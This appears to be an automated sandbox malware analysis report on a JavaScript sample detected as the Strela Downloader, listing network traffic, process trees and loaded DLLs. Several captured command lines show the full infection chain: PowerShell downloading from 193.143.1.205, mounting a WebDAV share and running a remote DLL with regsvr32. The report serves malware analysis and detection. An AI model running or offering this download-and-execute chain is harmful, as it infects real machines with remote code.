HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1373320212.000002480E2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1437596228.0000027F13D38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437596228.0000027F13D6F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437596228.0000027F13D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1437596228.0000027F13D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W=
Source: net.exe, 00000007.00000002.1437596228.0000027F13D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem8
Source: svchost.exe, 00000009.00000002.2671527044.000002D23D200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1440127704.000002D23D450000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1016, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10259286552329511027.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1k2lsvgz.jb2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1640,i,7274953226227197798,14640335884010176928,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1640,i,7274953226227197798,14640335884010176928,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
